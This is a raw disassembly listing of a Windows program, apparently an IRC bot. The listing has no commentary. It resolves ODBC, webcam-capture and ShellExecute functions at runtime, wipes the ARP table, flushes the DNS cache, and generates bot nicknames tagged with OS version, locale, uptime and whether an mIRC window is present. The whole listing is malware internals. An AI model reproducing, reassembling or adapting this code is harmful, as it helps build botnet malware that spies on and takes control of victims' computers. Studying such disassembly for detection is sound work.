		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB5C0, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB5C0, ebx
		mov	dword_4CB6C8, eax
		jz	short loc_40A6D5
		cmp	eax, ebx
		jnz	short loc_40A6DF
		jmp	short loc_40A6D5
; ---------------------------------------------------------------------------


loc_40A6CA:				; CODE XREF: sub_409B13+B8Dj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB770, eax


loc_40A6D5:				; CODE XREF: sub_409B13+BAFj
					; sub_409B13+BB5j
		mov	dword_4CB76C, 1


loc_40A6DF:				; CODE XREF: sub_409B13+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A768
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CB690, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CB6DC, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB618, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB5D0, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB670, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB690, ebx
		mov	dword_4CB5E0, eax
		jz	short loc_40A773
		cmp	dword_4CB6DC, ebx
		jz	short loc_40A773
		cmp	dword_4CB618, ebx
		jz	short loc_40A773
		cmp	dword_4CB5D0, ebx
		jz	short loc_40A773
		cmp	dword_4CB670, ebx
		jz	short loc_40A773
		cmp	eax, ebx
		jnz	short loc_40A77D
		jmp	short loc_40A773
; ---------------------------------------------------------------------------


loc_40A768:				; CODE XREF: sub_409B13+BD7j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB778, eax


loc_40A773:				; CODE XREF: sub_409B13+C2Dj
					; sub_409B13+C35j ...
		mov	dword_4CB774, 1


loc_40A77D:				; CODE XREF: sub_409B13+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B2
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB5A4, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB5A4, ebx
		mov	dword_4CB684, eax
		jz	short loc_40A7BD
		cmp	eax, ebx
		jnz	short loc_40A7C7
		jmp	short loc_40A7BD
; ---------------------------------------------------------------------------


loc_40A7B2:				; CODE XREF: sub_409B13+C75j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB780, eax


loc_40A7BD:				; CODE XREF: sub_409B13+C97j
					; sub_409B13+C9Dj
		mov	dword_4CB77C, 1


loc_40A7C7:				; CODE XREF: sub_409B13+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40A7CF(int,char *Str,int,int)

sub_40A7CF	proc near		; CODE XREF: sub_401ACD+2537p

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+Str]
		push	esi
		xor	esi, esi
		cmp	dword_4CB714, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A817
		push	dword_4CB718
		lea	eax, [ebp+Dest]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 20h


loc_40A817:				; CODE XREF: sub_40A7CF+1Aj
		cmp	dword_4CB71C, esi
		jz	short loc_40A84B
		push	dword_4CB720
		lea	eax, [ebp+Dest]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 20h


loc_40A84B:				; CODE XREF: sub_40A7CF+4Ej
		cmp	dword_4CB724, esi
		jz	short loc_40A87F
		push	dword_4CB728
		lea	eax, [ebp+Dest]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 20h


loc_40A87F:				; CODE XREF: sub_40A7CF+82j
		cmp	dword_4CB72C, esi
		jz	short loc_40A8B3
		push	dword_4CB730
		lea	eax, [ebp+Dest]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 20h


loc_40A8B3:				; CODE XREF: sub_40A7CF+B6j
		cmp	dword_4CB734, esi
		jz	short loc_40A8E7
		push	dword_4CB738
		lea	eax, [ebp+Dest]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 20h


loc_40A8E7:				; CODE XREF: sub_40A7CF+EAj
		cmp	dword_4CB73C, esi
		jz	short loc_40A91B
		push	dword_4CB740
		lea	eax, [ebp+Dest]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 20h


loc_40A91B:				; CODE XREF: sub_40A7CF+11Ej
		cmp	dword_4CB744, esi
		jz	short loc_40A94F
		push	dword_4CB748
		lea	eax, [ebp+Dest]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 20h


loc_40A94F:				; CODE XREF: sub_40A7CF+152j
		cmp	dword_4CB74C, esi
		jz	short loc_40A983
		push	dword_4CB750
		lea	eax, [ebp+Dest]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 20h


loc_40A983:				; CODE XREF: sub_40A7CF+186j
		cmp	dword_4CB754, esi
		jz	short loc_40A9B7
		push	dword_4CB758
		lea	eax, [ebp+Dest]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 20h


loc_40A9B7:				; CODE XREF: sub_40A7CF+1BAj
		cmp	dword_4CB75C, esi
		jz	short loc_40A9EB
		push	dword_4CB760
		lea	eax, [ebp+Dest]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 20h


loc_40A9EB:				; CODE XREF: sub_40A7CF+1EEj
		cmp	dword_4CB764, esi
		jz	short loc_40AA1F
		push	dword_4CB768
		lea	eax, [ebp+Dest]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 20h


loc_40AA1F:				; CODE XREF: sub_40A7CF+222j
		cmp	dword_4CB76C, esi
		jz	short loc_40AA53
		push	dword_4CB770
		lea	eax, [ebp+Dest]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 20h


loc_40AA53:				; CODE XREF: sub_40A7CF+256j
		cmp	dword_4CB774, esi
		jz	short loc_40AA87
		push	dword_4CB778
		lea	eax, [ebp+Dest]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 20h


loc_40AA87:				; CODE XREF: sub_40A7CF+28Aj
		cmp	dword_4CB77C, esi
		jz	short loc_40AABB
		push	dword_4CB780
		lea	eax, [ebp+Dest]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 20h


loc_40AABB:				; CODE XREF: sub_40A7CF+2BEj
		lea	eax, [ebp+Dest]
		push	offset asc_42DA28 ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE8
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h


loc_40AAE8:				; CODE XREF: sub_40A7CF+302j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C96p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB694	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB22
		push	[esp+arg_0]
		call	dword_4CB6D8	; gethostbyname
		test	eax, eax
		jnz	short loc_40AB1B
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1B:				; CODE XREF: sub_40AAFA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB22:				; CODE XREF: sub_40AAFA+Dj
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB23	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB570
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB31
		call	ecx	; DnsFlushResolverCache

locret_40AB31:				; CODE XREF: sub_40AB23+Aj
		retn
sub_40AB23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB32	proc near		; CODE XREF: sub_401ACD:loc_403F5Ep

Dest		= byte ptr -88h
Size		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+Size]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+Size], edi
		mov	[ebp+var_4], ebx
		call	dword_4CB6D0	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF8
		sub	ecx, 32h
		jz	loc_40ABF1
		sub	ecx, 48h
		jz	short loc_40AB92
		sub	ecx, 6Eh
		jz	short loc_40AB8B


loc_40AB74:				; CODE XREF: sub_40AB32+8Bj
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_42DC3C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_40ABD2
; ---------------------------------------------------------------------------


loc_40AB8B:				; CODE XREF: sub_40AB32+40j
		push	offset unk_42DC18
		jmp	short loc_40ABC4
; ---------------------------------------------------------------------------


loc_40AB92:				; CODE XREF: sub_40AB32+3Bj
		push	[ebp+Size]	; Size
		call	_malloc
		push	[ebp+Size]	; Size
		mov	esi, eax
		push	edi		; Val
		push	esi		; Dst
		call	_memset
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBF
		lea	eax, [ebp+Size]
		push	ebx
		push	eax
		push	esi
		call	dword_4CB6D0	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40ABF8
		jmp	short loc_40AB74
; ---------------------------------------------------------------------------


loc_40ABBF:				; CODE XREF: sub_40AB32+79j
		push	offset asc_42DBE8 ; "-"


loc_40ABC4:				; CODE XREF: sub_40AB32+5Ej
					; sub_40AB32+C4j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_40ABD2:				; CODE XREF: sub_40AB32+57j
		lea	eax, [ebp+Dest]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40ABE2:				; CODE XREF: sub_40AB32+C8j
					; sub_40AB32+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF1:				; CODE XREF: sub_40AB32+32j
		push	offset unk_42DBB8
		jmp	short loc_40ABC4
; ---------------------------------------------------------------------------


loc_40ABF8:				; CODE XREF: sub_40AB32+29j
					; sub_40AB32+89j
		cmp	[esi], edi
		jbe	short loc_40ABE2
		lea	ebx, [esi+4]


loc_40ABFF:				; CODE XREF: sub_40AB32+DAj
		push	ebx
		call	dword_4CB6CC	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFF
		jmp	short loc_40ABE2
sub_40AB32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC10	proc near		; CODE XREF: sub_401ACD+2248p
					; sub_401ACD+2399p ...

Dst		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB5F8	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset byte_4CB784
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi		; Dest
		call	_sprintf
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC69	proc near		; CODE XREF: sub_412B09+24Cp
					; sub_412B09+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC92
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC85:				; CODE XREF: sub_40AC69+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC85
		pop	edi
		jmp	short loc_40AC96
; ---------------------------------------------------------------------------


loc_40AC92:				; CODE XREF: sub_40AC69+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC96:				; CODE XREF: sub_40AC69+27j
		test	esi, esi
		pop	esi
		jz	short loc_40ACA0
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40ACA0:				; CODE XREF: sub_40AC69+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC69	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40ACB6(char *Dest)

sub_40ACB6	proc near		; CODE XREF: sub_40B08E+49p
					; DATA XREF: .data:off_42DC88o

Dest		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	_rand
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+Dest]
		push	off_42DCF0[edx*4]
		push	offset aS_6	; "%s"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1E


loc_40ACF8:				; CODE XREF: sub_40ACB6+66j
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF8


loc_40AD1E:				; CODE XREF: sub_40ACB6+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB6	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_42913C ; "-"
		push	offset aS_6	; "%s"
		push	1Ch
		push	edi
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD7C


loc_40AD56:				; CODE XREF: .text:0040AD7Aj
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AD56


loc_40AD7C:				; CODE XREF: .text:0040AD54j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD81	proc near		; CODE XREF: sub_401ACD+69CDp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	_rand
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC4


loc_40ADAE:				; CODE XREF: sub_40AD81+41j
		call	_rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAE


loc_40ADC4:				; CODE XREF: sub_40AD81+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD81	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431948
		push	eax
		push	esi
		call	ds:dword_4270C0	; GetComputerNameA
		movsx	eax, byte_431948
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AE0A:				; CODE XREF: .text:0040AE15j
		cmp	eax, ecx
		jnz	short loc_40AE11
		mov	[ebp-4], edx


loc_40AE11:				; CODE XREF: .text:0040AE0Cj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE0A
		push	61h
		pop	ecx


loc_40AE1A:				; CODE XREF: .text:0040AE25j
		cmp	eax, ecx
		jnz	short loc_40AE21
		mov	[ebp-4], edx


loc_40AE21:				; CODE XREF: .text:0040AE1Cj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE1A
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	__snprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE66


loc_40AE40:				; CODE XREF: .text:0040AE64j
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE40


loc_40AE66:				; CODE XREF: .text:0040AE3Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_4270C4	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_43194C
		push	1Ch
		push	edi
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDB


loc_40AEB5:				; CODE XREF: .text:0040AED9j
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB5


loc_40AEDB:				; CODE XREF: .text:0040AEB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43D808
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_4270C8	; GetVersionExA
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF65
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF45
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF35
		mov	esi, offset a95	; "95"


loc_40AF35:				; CODE XREF: .text:0040AF2Ej
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA1
		mov	esi, offset aNt_0 ; "NT"
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF45:				; CODE XREF: .text:0040AF25j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF55
		mov	esi, offset a98	; "98"
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF55:				; CODE XREF: .text:0040AF4Cj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9C
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF65:				; CODE XREF: .text:0040AF1Cj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9C
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7E
		mov	esi, offset a2k	; "2K"
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF7E:				; CODE XREF: .text:0040AF75j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8E
		mov	esi, offset aXp	; "XP"
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF8E:				; CODE XREF: .text:0040AF85j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_40AFA1


loc_40AF9C:				; CODE XREF: .text:0040AF5Cj
					; .text:0040AF6Cj
		mov	esi, offset a??? ; "???"


loc_40AFA1:				; CODE XREF: .text:0040AF3Cj
					; .text:0040AF43j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset aS_0	; "[%s]|"
		push	1Ch
		push	edi
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE5


loc_40AFBF:				; CODE XREF: .text:0040AFE3j
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBF


loc_40AFE5:				; CODE XREF: .text:0040AFBDj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40AFEB(char *Dest)

sub_40AFEB	proc near		; CODE XREF: sub_40B08E+5Cp

Source		= byte ptr -1Ch
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_4270A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B03A
		call	dword_4CB660	; FindWindowA
		test	eax, eax
		mov	eax, offset aM	; "[M]"
		jnz	short loc_40B023
		mov	eax, offset byte_43D808


loc_40B023:				; CODE XREF: sub_40AFEB+31j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+Source]
		push	1Ch		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	short loc_40B05A
; ---------------------------------------------------------------------------


loc_40B03A:				; CODE XREF: sub_40AFEB+22j
		call	dword_4CB660	; FindWindowA
		test	eax, eax
		mov	eax, offset aM	; "[M]"
		jnz	short loc_40B04E
		mov	eax, offset byte_43D808


loc_40B04E:				; CODE XREF: sub_40AFEB+5Cj
		push	eax		; Format
		lea	eax, [ebp+Source]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_40B05A:				; CODE XREF: sub_40AFEB+4Dj
		lea	eax, [ebp+Source]
		push	eax		; Str
		call	_strlen
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B089
		push	1Ch		; Count
		lea	eax, [ebp+Source]
		push	[ebp+Dest]	; Source
		push	eax		; Dest
		call	_strncat
		lea	eax, [ebp+Source]
		push	1Ch		; Count
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	_strncpy
		add	esp, 18h


loc_40B089:				; CODE XREF: sub_40AFEB+7Dj
		mov	eax, [ebp+Dest]
		leave
		retn
sub_40AFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B08E(char *Dest,int,int,char *Str1)

sub_40B08E	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

Dest		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str1		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42DC84


loc_40B09A:				; CODE XREF: sub_40B08E+3Fj
		cmp	[ebp+Str1], 0
		jz	short loc_40B0B5
		lea	eax, [esi-0Ch]
		push	eax		; Str2
		push	[ebp+Str1]	; Str1
		call	_strcmp
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BF
; ---------------------------------------------------------------------------


loc_40B0B5:				; CODE XREF: sub_40B08E+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BF:				; CODE XREF: sub_40B08E+25j
		test	eax, eax
		jnz	short loc_40B0D1
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42DCFC
		jb	short loc_40B09A
		jmp	short loc_40B0DF
; ---------------------------------------------------------------------------


loc_40B0D1:				; CODE XREF: sub_40B08E+33j
		push	[ebp+Dest]	; Dest
		lea	eax, [edi+edi*4]
		call	off_42DC88[eax*4]
		pop	ecx


loc_40B0DF:				; CODE XREF: sub_40B08E+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F2
